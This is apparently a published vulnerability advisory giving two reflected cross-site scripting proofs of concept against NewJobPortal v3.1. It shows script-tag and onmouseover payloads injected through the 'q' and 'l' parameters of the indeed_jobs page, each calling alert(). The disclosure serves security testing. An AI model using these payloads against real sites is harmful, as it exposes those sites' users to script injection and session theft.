NewJobPortal - Multiple XSS Inj.

===========================================================================================
# Exploit Title: NewJobPortal v3.1 - ’indeed jobs’ XSS Inj.
# Dork: N/A
# Date: 25-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://codecanyon.net/item/job-portal/15330095
# Software Link: https://www.filecad.com/mnyY/Job Portal v3.1.rar
# Version: v3.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Descr*iption: Job portal is developed for creating an interactive job vacancy for candidates.
  This web application is to be conceived in its current form as a dynamic site-requiring constant
  updates both from the seekers as well as the companies.
===========================================================================================
# POC - XSS
# Parameters : indeed jobs
# Attack Pattern : %3c%2ftitle%3e%3cscRipt%3ealert(0x001D96)%3c%2fscRipt%3e
# GET Method : http://localhost/newjobportal/indeed_jobs?q=</title><scRipt>alert(0x001D96)</scRipt>&l=&co=AQ 
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: NewJobPortal v3.1 - ’q’ XSS Inj.
# Dork: N/A
# Date: 25-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://codecanyon.net/item/job-portal/15330095
# Software Link: https://www.filecad.com/mnyY/Job Portal v3.1.rar
# Version: v3.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Descr*iption: Job portal is developed for creating an interactive job vacancy for candidates.
  This web application is to be conceived in its current form as a dynamic site-requiring constant
  updates both from the seekers as well as the companies.
===========================================================================================
# POC - XSS
# Parameters : indeed jobs, q
# Attack Pattern : x“+onmouseover%3dalert(0x001D9C)+x%3d“
# POST Method : http://localhost/newjobportal/indeed_jobs?q=&l=x onmouseover=alert(0x001D9C) x=&co=AQ 
===========================================================================================